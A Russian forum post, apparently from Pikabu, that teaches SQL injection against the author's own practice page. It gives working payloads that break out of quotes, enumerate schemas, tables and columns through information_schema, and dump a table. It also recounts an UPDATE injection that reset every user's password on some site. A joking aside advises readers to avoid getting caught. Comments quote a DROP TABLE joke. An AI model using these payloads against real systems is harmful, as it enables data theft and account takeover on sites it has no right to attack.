Как ломать сайты криворуких программистов.

Ломать сайты можно множеством способов, но один из самых простых и эффективных, если программист достаточно криворукий это SQL-инъекции

Давайте же немного обсудим данную тему.


Для того чтобы понять что тут происходит в принципе не нужно уметь программировать, знать SQL язык. Достаточно быть не сильно идиотом.


Что из себя представляют SQL инъекции? Это некие неправомерные действия, которые не предполагались выполняться данным скриптом.


Если привести пример из реальности, то это будет нечто такое:

Мать написала отцу записку:

Купи Васе конфет

А Вася взял и дописал: " и Пива"

В итоге отец видит записку:

Купи Васе конфет и Пива

Конечно когда прочитают логи и сверят данные Вася получит ремня, но временно он взломал систему. (поэтому правило первое, старайтесь действовать так чтоб вас не спалили)



Тут я подготовил простенький интерфейс на котором можно побаловаться:

https://test.ser60v.ru/injection/

По нормальному мы можем добавить строку, либо вытащить данные по поиску данной строки, дабы каждый ещё смог оставить немного своей дури:

Как ломать сайты криворуких программистов. Sql injection, SQL, Web-программирование, Взлом, Длиннопост, Mysql, Хакеры
Как ломать сайты криворуких программистов. Sql injection, SQL, Web-программирование, Взлом, Длиннопост, Mysql, Хакеры

Попробуем в поле поиска вбить не ololo

а

ololo' -- pikabu

Вывод выдаёт то же самое, итого мы можем применять инъекции.

В коде на сервере запрос выглядит так


SELECT * FROM `example` WHERE `text`='$find'

Мы же сами закрываем кавычки и комментируем всё последующее двумя дефисами.

Профит.


Что же мы можем сделать теперь?

Например добавить свой вывод:


' AND 0>1 UNION SELECT 1,2 -- pikabu

В этом случае мы выводим 1,2, но кому это интересно?

Если уж мы получили делать возможность инъекции необходимо узнать структуру базы, дабы получить возможность формировать желаемые запросы.


Получаем список баз

' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(table_schema)), 1 FROM information_schema.columns WHERE ''='
Как ломать сайты криворуких программистов. Sql injection, SQL, Web-программирование, Взлом, Длиннопост, Mysql, Хакеры

Таким запросом мы получим список баз к которым у данного пользователя есть доступ.


Тут в принципе не нужно ничего понимать, мы выводим столько же полей, потому как знаем что у нас их 2. Но в первое выводим через запятую все базы, к которым можем получить доступ.


Отлично, мы знаем что наша база называется injection


Теперь получим список таблиц нашей базы


' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(table_name)), 1 FROM information_schema.columns WHERE table_schema='injection' and ''='
Как ломать сайты криворуких программистов. Sql injection, SQL, Web-программирование, Взлом, Длиннопост, Mysql, Хакеры

Получаем список колонок из таблицы secret

' AND 0>1 UNION SELECT GROUP_CONCAT(distinct(column_name)), 1 FROM information_schema.columns WHERE table_schema='injection' and table_name='secret' and ''='


Их внезапно тоже 2, так что не парясь можно получить всё содержимое.


' AND 0>1 UNION SELECT * FROM secret WHERE ''='

Много воли я решил не давать вам на сервере, например нет возможности редактировать структуру базы, создавать новые таблицы, удалять строки. Иначе начнётся тотальный треш.


В сущности, сейчас найти данную уязвимость практически невозможно. Но всякое в жизни бывает...


Так например было дело, на каком-то ресурсе удалось при редактировании своего пароля установить такой пароль всем, потому как было что-то типа:

UPDATE `users` SET `password`='$password' WHERE id=$id

Ну и если мы делаем переменную $password

newPass' -- ololo

То пароль newPass ставится для всех пользователей.



Защититься от инъекций куда проще, чем их использовать, но если доступ к оным получен - это дарует много возможностей.

Если кто-то сможет сделать insert/update в таблицу secret каким-то образом - с меня пиво первому сделавшему..)

Информационная безопасность IT

1.4K постов25.5K подписчика

Добавить пост

Правила сообщества

Обязательно к прочтению для авторов:

1. Если вы добавляете пост, утверждающий об утечке данных или наличии дыр в системе, предоставьте ссылку на источники или технически подкованное расследование. Посты из разряда "Какой-то банк слил данные, потому что мне звонили мошенники" будут выноситься в общую ленту.
2. Все вопросы "Как обезопасить сервер\приложение\устройство" - в лигу "Компьютер это просто".

Обязательно к прочтению для всех:

Добавление ссылки разрешено если она не содержит описание коммерческих (платных) продуктов и/или идентификаторов для отслеживания перехода и для доступа не нужен пароль или оплата в т.ч. интернет-ресурсы, каналы (от 3-х тематических видео), блоги, группы, сообщества, СМИ и т.д.


Запрещены политические holy wars.

По решению модератора или администратора сообщества пользователь будет забанен за:

1. Флуд и оскорбление пользователя, в т.ч. провокация спора, флуда, холивара (высказывание без аргументации о конкретной применимости конкретного решения в конкретной ситуации), требование уже данного ответа, распространение сведений порочащих честь и репутацию, принижающих квалификацию оппонента, переходы на личности.

2. Публикацию поста/комментария не соответствующего тематике сообщества, в том числе обсуждение администраторов и модераторов сообщества, для этого есть специальное сообщество.

3. За обвинение в киберпреступной деятельности.

4. За нарушение прочих Правил Пикабу.

108
Автор поста оценил этот комментарий
-Добрый день, это школа вашего сына, у нас возникли компьютерные проблемы.
-О божечки, он что-то сломал?
-Вроде того... Вы правда назвали сына Роберт') DROP TABLE Students?
-А, да. Малыш Робби Тейблс, так мы его называем.
-Ну, мы потеряли базу данных студентов за этот год, надеюсь вы довольны.
-А вы, надеюсь, научились очищать входные данные в базу данных.
https://xkcd.com/327/
раскрыть ветку
33
Автор поста оценил этот комментарий

https://xss-game.appspot.com/


не помню, на каком уровне застрял, но помню, что так и не прошел. начинающим хацкерам - рекомендую )

раскрыть ветку
14
Автор поста оценил этот комментарий

Вижу, кто-то начал добавлять html теги )

Мой любимый <plaintext> - он по сути экранирует хтмл теги. Но он на столько сильный что экранирует закрытие себя. Те один раз открывшись его не закрыть и весь код дальнейший идёт в виде текста)

раскрыть ветку
12
Автор поста оценил этот комментарий

опять про тех, кто подготовленные выражения не использует? это мануал в стиле "как трахнуть в жопу того, кто застрял в заборе"

раскрыть ветку
50
Автор поста оценил этот комментарий

Нихуясе, на Пикабу уже курсы хакеров открыли

раскрыть ветку